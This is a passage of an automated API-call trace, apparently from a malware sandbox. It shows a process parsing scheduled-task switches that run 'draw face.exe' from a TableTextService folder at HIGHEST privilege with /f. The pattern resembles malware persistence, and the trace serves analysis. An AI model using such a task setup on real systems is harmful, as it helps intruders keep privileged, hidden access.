lpSrch="|mo|") returned 0x0 [0121.449] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.449] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.449] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.449] lstrlenW (lpString="/mo") returned 3 [0121.449] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0121.449] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.449] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.449] lstrlenW (lpString="/mo") returned 3 [0121.449] GetProcessHeap () returned 0x27bec400000 [0121.449] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x8) returned 0x27bec4042c0 [0121.449] GetProcessHeap () returned 0x27bec400000 [0121.449] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b5d0 [0121.450] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.450] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.450] lstrlenW (lpString="14") returned 2 [0121.450] lstrlenW (lpString="-/") returned 2 [0121.450] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0121.450] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.450] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.450] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.450] lstrlenW (lpString="14") returned 2 [0121.450] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0121.450] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.450] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.450] lstrlenW (lpString="14") returned 2 [0121.450] GetProcessHeap () returned 0x27bec400000 [0121.450] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x6) returned 0x27bec4042e0 [0121.450] GetProcessHeap () returned 0x27bec400000 [0121.450] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b510 [0121.450] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.450] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.450] lstrlenW (lpString="/tr") returned 3 [0121.450] lstrlenW (lpString="-/") returned 2 [0121.450] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0121.450] lstrlenW (lpString="?") returned 1 [0121.450] lstrlenW (lpString="?") returned 1 [0121.450] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.450] lstrlenW (lpString="tr") returned 2 [0121.450] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.450] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|?|") returned 3 [0121.450] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tr|") returned 4 [0121.450] lstrlenW (lpString="|?|") returned 3 [0121.450] lstrlenW (lpString="|tr|") returned 4 [0121.450] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.450] lstrlenW (lpString="create") returned 6 [0121.451] lstrlenW (lpString="create") returned 6 [0121.451] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.451] lstrlenW (lpString="tr") returned 2 [0121.451] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.451] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|create|") returned 8 [0121.451] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tr|") returned 4 [0121.451] lstrlenW (lpString="|create|") returned 8 [0121.451] lstrlenW (lpString="|tr|") returned 4 [0121.451] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0121.451] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.451] lstrlenW (lpString="delete") returned 6 [0121.451] lstrlenW (lpString="delete") returned 6 [0121.451] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.451] lstrlenW (lpString="tr") returned 2 [0121.451] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.451] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|delete|") returned 8 [0121.451] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tr|") returned 4 [0121.451] lstrlenW (lpString="|delete|") returned 8 [0121.451] lstrlenW (lpString="|tr|") returned 4 [0121.451] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0121.451] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.451] lstrlenW (lpString="query") returned 5 [0121.451] lstrlenW (lpString="query") returned 5 [0121.451] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.451] lstrlenW (lpString="tr") returned 2 [0121.451] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.451] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x8, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|query|") returned 7 [0121.451] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tr|") returned 4 [0121.452] lstrlenW (lpString="|query|") returned 7 [0121.452] lstrlenW (lpString="|tr|") returned 4 [0121.452] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0121.452] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.452] lstrlenW (lpString="change") returned 6 [0121.452] lstrlenW (lpString="change") returned 6 [0121.452] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.452] lstrlenW (lpString="tr") returned 2 [0121.452] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.452] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|change|") returned 8 [0121.452] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tr|") returned 4 [0121.452] lstrlenW (lpString="|change|") returned 8 [0121.452] lstrlenW (lpString="|tr|") returned 4 [0121.452] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0121.452] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.452] lstrlenW (lpString="run") returned 3 [0121.452] lstrlenW (lpString="run") returned 3 [0121.452] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.452] lstrlenW (lpString="tr") returned 2 [0121.452] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.452] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|run|") returned 5 [0121.452] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tr|") returned 4 [0121.452] lstrlenW (lpString="|run|") returned 5 [0121.452] lstrlenW (lpString="|tr|") returned 4 [0121.452] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0121.452] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.452] lstrlenW (lpString="end") returned 3 [0121.452] lstrlenW (lpString="end") returned 3 [0121.452] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.452] lstrlenW (lpString="tr") returned 2 [0121.452] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.453] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|end|") returned 5 [0121.453] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tr|") returned 4 [0121.453] lstrlenW (lpString="|end|") returned 5 [0121.453] lstrlenW (lpString="|tr|") returned 4 [0121.453] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0121.453] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.453] lstrlenW (lpString="showsid") returned 7 [0121.453] lstrlenW (lpString="showsid") returned 7 [0121.453] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.453] lstrlenW (lpString="tr") returned 2 [0121.453] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.453] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0xa, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|showsid|") returned 9 [0121.453] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tr|") returned 4 [0121.453] lstrlenW (lpString="|showsid|") returned 9 [0121.453] lstrlenW (lpString="|tr|") returned 4 [0121.453] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0121.453] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.453] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.453] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.453] lstrlenW (lpString="/tr") returned 3 [0121.453] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0121.453] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.453] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.453] lstrlenW (lpString="/tr") returned 3 [0121.453] GetProcessHeap () returned 0x27bec400000 [0121.453] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x8) returned 0x27bec404300 [0121.453] GetProcessHeap () returned 0x27bec400000 [0121.453] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b840 [0121.454] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.454] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.454] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0121.454] lstrlenW (lpString="-/") returned 2 [0121.454] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0121.454] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.454] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.454] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.454] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0121.454] StrChrIW (lpStart="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'" [0121.454] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0121.454] GetProcessHeap () returned 0x27bec400000 [0121.454] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x18) returned 0x27bec40ac70 [0121.454] _memicmp (_Buf1=0x27bec40ac70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.454] GetProcessHeap () returned 0x27bec400000 [0121.454] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0xe) returned 0x27bec40abf0 [0121.454] GetProcessHeap () returned 0x27bec400000 [0121.454] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x18) returned 0x27bec40a950 [0121.454] _memicmp (_Buf1=0x27bec40a950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.454] GetProcessHeap () returned 0x27bec400000 [0121.454] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x88) returned 0x27bec404320 [0121.454] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.454] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.454] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.454] lstrlenW (lpString="'C") returned 2 [0121.454] lstrlenW (lpString="-/") returned 2 [0121.454] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0121.454] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.454] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.454] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.454] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0121.455] GetProcessHeap () returned 0x27bec400000 [0121.455] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x86) returned 0x27bec403ba0 [0121.455] GetProcessHeap () returned 0x27bec400000 [0121.455] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b930 [0121.455] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.455] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.455] lstrlenW (lpString="/rl") returned 3 [0121.455] lstrlenW (lpString="-/") returned 2 [0121.455] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0121.455] lstrlenW (lpString="?") returned 1 [0121.455] lstrlenW (lpString="?") returned 1 [0121.455] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.455] lstrlenW (lpString="rl") returned 2 [0121.455] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.455] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|?|") returned 3 [0121.455] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|rl|") returned 4 [0121.455] lstrlenW (lpString="|?|") returned 3 [0121.455] lstrlenW (lpString="|rl|") returned 4 [0121.455] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.455] lstrlenW (lpString="create") returned 6 [0121.455] lstrlenW (lpString="create") returned 6 [0121.455] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.455] lstrlenW (lpString="rl") returned 2 [0121.455] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.455] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|create|") returned 8 [0121.455] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|rl|") returned 4 [0121.455] lstrlenW (lpString="|create|") returned 8 [0121.455] lstrlenW (lpString="|rl|") returned 4 [0121.455] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0121.455] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.455] lstrlenW (lpString="delete") returned 6 [0121.456] lstrlenW (lpString="delete") returned 6 [0121.456] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.456] lstrlenW (lpString="rl") returned 2 [0121.456] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.456] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|delete|") returned 8 [0121.456] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|rl|") returned 4 [0121.456] lstrlenW (lpString="|delete|") returned 8 [0121.456] lstrlenW (lpString="|rl|") returned 4 [0121.456] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0121.456] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.456] lstrlenW (lpString="query") returned 5 [0121.456] lstrlenW (lpString="query") returned 5 [0121.456] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.456] lstrlenW (lpString="rl") returned 2 [0121.456] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.456] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x8, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|query|") returned 7 [0121.456] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|rl|") returned 4 [0121.456] lstrlenW (lpString="|query|") returned 7 [0121.456] lstrlenW (lpString="|rl|") returned 4 [0121.456] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0121.456] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.456] lstrlenW (lpString="change") returned 6 [0121.456] lstrlenW (lpString="change") returned 6 [0121.456] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.456] lstrlenW (lpString="rl") returned 2 [0121.456] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.456] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|change|") returned 8 [0121.456] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|rl|") returned 4 [0121.456] lstrlenW (lpString="|change|") returned 8 [0121.457] lstrlenW (lpString="|rl|") returned 4 [0121.457] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0121.457] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.457] lstrlenW (lpString="run") returned 3 [0121.457] lstrlenW (lpString="run") returned 3 [0121.457] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.457] lstrlenW (lpString="rl") returned 2 [0121.457] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.457] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|run|") returned 5 [0121.457] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|rl|") returned 4 [0121.457] lstrlenW (lpString="|run|") returned 5 [0121.457] lstrlenW (lpString="|rl|") returned 4 [0121.457] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0121.457] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.457] lstrlenW (lpString="end") returned 3 [0121.457] lstrlenW (lpString="end") returned 3 [0121.457] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.457] lstrlenW (lpString="rl") returned 2 [0121.457] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.457] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|end|") returned 5 [0121.457] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|rl|") returned 4 [0121.457] lstrlenW (lpString="|end|") returned 5 [0121.457] lstrlenW (lpString="|rl|") returned 4 [0121.457] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0121.457] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.457] lstrlenW (lpString="showsid") returned 7 [0121.457] lstrlenW (lpString="showsid") returned 7 [0121.457] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.457] lstrlenW (lpString="rl") returned 2 [0121.458] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.458] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0xa, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|showsid|") returned 9 [0121.458] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|rl|") returned 4 [0121.458] lstrlenW (lpString="|showsid|") returned 9 [0121.458] lstrlenW (lpString="|rl|") returned 4 [0121.458] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0121.458] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.458] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.458] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.458] lstrlenW (lpString="/rl") returned 3 [0121.458] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0121.458] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.458] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.458] lstrlenW (lpString="/rl") returned 3 [0121.458] GetProcessHeap () returned 0x27bec400000 [0121.458] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x8) returned 0x27bec4043b0 [0121.458] GetProcessHeap () returned 0x27bec400000 [0121.458] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b780 [0121.458] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.458] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.458] lstrlenW (lpString="HIGHEST") returned 7 [0121.458] lstrlenW (lpString="-/") returned 2 [0121.458] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0121.458] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.458] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.458] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.458] lstrlenW (lpString="HIGHEST") returned 7 [0121.458] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0121.458] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.458] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.458] lstrlenW (lpString="HIGHEST") returned 7 [0121.458] GetProcessHeap () returned 0x27bec400000 [0121.458] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x10) returned 0x27bec40ab70 [0121.458] GetProcessHeap () returned 0x27bec400000 [0121.459] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b870 [0121.459] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.459] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.459] lstrlenW (lpString="/f") returned 2 [0121.459] lstrlenW (lpString="-/") returned 2 [0121.459] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0121.459] lstrlenW (lpString="?") returned 1 [0121.459] lstrlenW (lpString="?") returned 1 [0121.459] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.459] lstrlenW (lpString="f") returned 1 [0121.459] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.459] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|?|") returned 3 [0121.459] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|f|") returned 3 [0121.459] lstrlenW (lpString="|?|") returned 3 [0121.459] lstrlenW (lpString="|f|") returned 3 [0121.459] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0121.459] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.459] lstrlenW (lpString="create") returned 6 [0121.459] lstrlenW (lpString="create") returned 6 [0121.459] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.459] lstrlenW (lpString="f") returned 1 [0121.459] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.459] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|create|") returned 8 [0121.459] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|f|") returned 3 [0121.459] lstrlenW (lpString="|create|") returned 8 [0121.459] lstrlenW (lpString="|f|") returned 3 [0121.459] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0121.459] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.459] lstrlenW (lpString="delete") returned 6 [0121.459] lstrlenW (lpString="delete") returned 6 [0121.459] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.460] lstrlenW (lpString="f") returned 1 [0121.460] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.460] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|delete|") returned 8 [0121.460] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|f|") returned 3 [0121.460] lstrlenW (lpString="|delete|") returned 8 [0121.460] lstrlenW (lpString="|f|") returned 3 [0121.460] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0121.460] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.460] lstrlenW (lpString="query") returned 5 [0121.460] lstrlenW (lpString="query") returned 5 [0121.460] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.460] lstrlenW (lpString="f") returned 1 [0121.460] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.460] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x8, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|query|") returned 7 [0121.460] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|f|") returned 3 [0121.460] lstrlenW (lpString="|query|") returned 7 [0121.460] lstrlenW (lpString="|f|") returned 3 [0121.460] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0121.460] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.460] lstrlenW (lpString="change") returned 6 [0121.460] lstrlenW (lpString="change") returned 6 [0121.460] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.460] lstrlenW (lpString="f") returned 1 [0121.460] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.460] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|change|") returned 8 [0121.460] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|f|") returned 3 [0121.460] lstrlenW (lpString="|change|") returned 8 [0121.460] lstrlenW (lpString="|f|") returned 3 [0121.460] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0121.461] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.461] lstrlenW (lpString="run") returned 3 [0121.461] lstrlenW (lpString="run") returned 3 [0121.461] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.461] lstrlenW (lpString="f") returned 1 [0121.461] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.461] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|run|") returned 5 [0121.461] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|f|") returned 3 [0121.461] lstrlenW (lpString="|run|") returned 5 [0121.461] lstrlenW (lpString="|f|") returned 3 [0121.461] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0121.461] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.461] lstrlenW (lpString="end") returned 3 [0121.461] lstrlenW (lpString="end") returned 3 [0121.461] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.461] lstrlenW (lpString="f") returned 1 